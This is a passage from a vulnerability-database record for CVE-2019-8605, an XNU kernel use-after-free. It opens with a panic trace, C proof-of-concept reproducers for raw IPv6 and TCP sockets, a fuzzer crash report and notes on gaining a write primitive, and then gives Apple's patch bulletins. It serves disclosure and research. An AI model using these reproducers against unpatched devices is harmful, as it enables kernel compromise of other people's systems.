mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n*/\n\n#define IPPROTO_IP 0\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\nint main() {\n int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n printf(\"res0: %d\\n\", s);\n struct sockaddr_in6 sa1 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65000,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_LOOPBACK,\n .sin6_scope_id = 0,\n };\n struct sockaddr_in6 sa2 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65001,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_ANY,\n .sin6_scope_id = 0,\n };\n\n int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));\n printf(\"res1: %d\\n\", res);\n\n unsigned char buffer[4] = {};\n res = setsockopt(s, 41, 50, buffer, sizeof(buffer));\n printf(\"res1.5: %d\\n\", res);\n\n res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));\n printf(\"res2: %d\\n\", res);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.\n\n==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248\nREAD of size 8 at 0x610000000c50 thread T0\nSCARINESS: 51 (8-byte-read-heap-use-after-free)\n #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25\n #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13\n #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12\n #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10\n\n0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)\nfreed by thread T0 here:\n #0 0x497a3d in free _asan_rtl_:3\n #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3\n #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7\n #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10\n #5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10\n #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10\n\npreviously allocated by thread T0 here:\n #0 0x497cbd in __interceptor_malloc _asan_rtl_:3\n #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10\n #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9\n #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13\n #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12\n #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10\n\n\n#include <stdio.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\n/*\nTCP-based reproducer for CVE-2019-8605\nThis has the benefit of being reachable from the app sandbox on iOS 12.2.\n*/\n\n#define IPV6_3542PKTINFO 46\n\nint main() {\n int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n printf(\"res0: %d\\n\", s);\n\n unsigned char buffer[1] = {'\\xaa'};\n int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));\n printf(\"res1: %d\\n\", res);\n\n res = disconnectx(s, 0, 0);\n printf(\"res2: %d\\n\", res);\n\n socklen_t buffer_len = sizeof(buffer);\n res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);\n printf(\"res3: %d\\n\", res);\n printf(\"got %d\\n\", buffer[0]);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nIt seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.\n\nBut there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.\n\n", "sourceHref": "https://0day.today/exploit/32762", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "apple": [{"lastseen": "2022-02-19T19:30:16", "description": "# About the security content of macOS Mojave 10.14.6 Supplemental Update\n\nThis document describes the security content of macOS Mojave 10.14.6 Supplemental Update.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:51", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:05:09", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:05:09", "id": "APPLE:HT210548", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:33", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:06:38", "title": "About the security content of iOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:06:38", "id": "APPLE:HT210549", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:58", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:03:47", "title": "About the security content of tvOS 12.4.1 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:03:47", "id": "APPLE:HT210550", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:57", "description": "# About the security content of iOS 12.4.1\n\nThis document describes the security content of iOS 12.4.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of iOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:1E452AB09BD018501C8ED03BD6811E97", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T17:00:01", "description": "# About the security content of tvOS 12.4.1\n\nThis document describes the security content of tvOS 12.4.1\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of tvOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:466BEDED69CFA24057993B0F7E611178", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:14:04", "description": "# About the security content of watchOS 5.2.1\n\nThis document describes the security content of watchOS 5.2.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.2.1\n\nReleased May 13, 2019\n\n**AppleFileConduit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8593: Dany Lisiansky (@DanyL931)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted movie file may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved error handling.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added August 1, 2019\n\n**Disk Images**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2019-8591: Ned Williamson working with Google Project Zero\n\n**Mail**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8626: natashenka of Google Project Zero\n\n**Mail Message Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8613: natashenka of Google Project Zero\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: natashenka of Google Project Zero\n\nEntry added August 1, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause a system denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8573: natashenka of Google Project Zero\n\nEntry added July 3, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: natashenka of Google Project Zero\n\nEntry added July 3, 2019\n\n**MobileInstallation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8568: Dany Lisiansky (@DanyL931)\n\n**MobileLockdown**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8637: Dany Lisiansky (@DanyL931)\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2019-8577: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A maliciously crafted SQL query may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8600: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8598: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2019-8602: Omer Gull of Checkpoint Research\n\n**sysdiagnose**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2019-8574: Dayton Pidhirney (@_watbulb) of Seekintoo (@seekintoo)\n\nEntry updated February 3, 2020\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may result in the disclosure of process memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech\n\nCVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8622: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8623: Samuel Gro\u00df of Google Project Zero\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position can modify driver state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry added May 30, 2019\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8620: David Kreitschmann and Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Clang**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\n**CoreAudio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added July 25, 2019\n\n**CoreFoundation**\n\nWe would like to acknowledge Vozzie and Rami and m4bln, Xiangqian Zhang, Huiming Liu of Tencent's Xuanwu Lab for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero and an anonymous researcher for their assistance.\n\n**MediaLibrary**\n\nWe would like to acknowledge Angel Ramirez and Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": 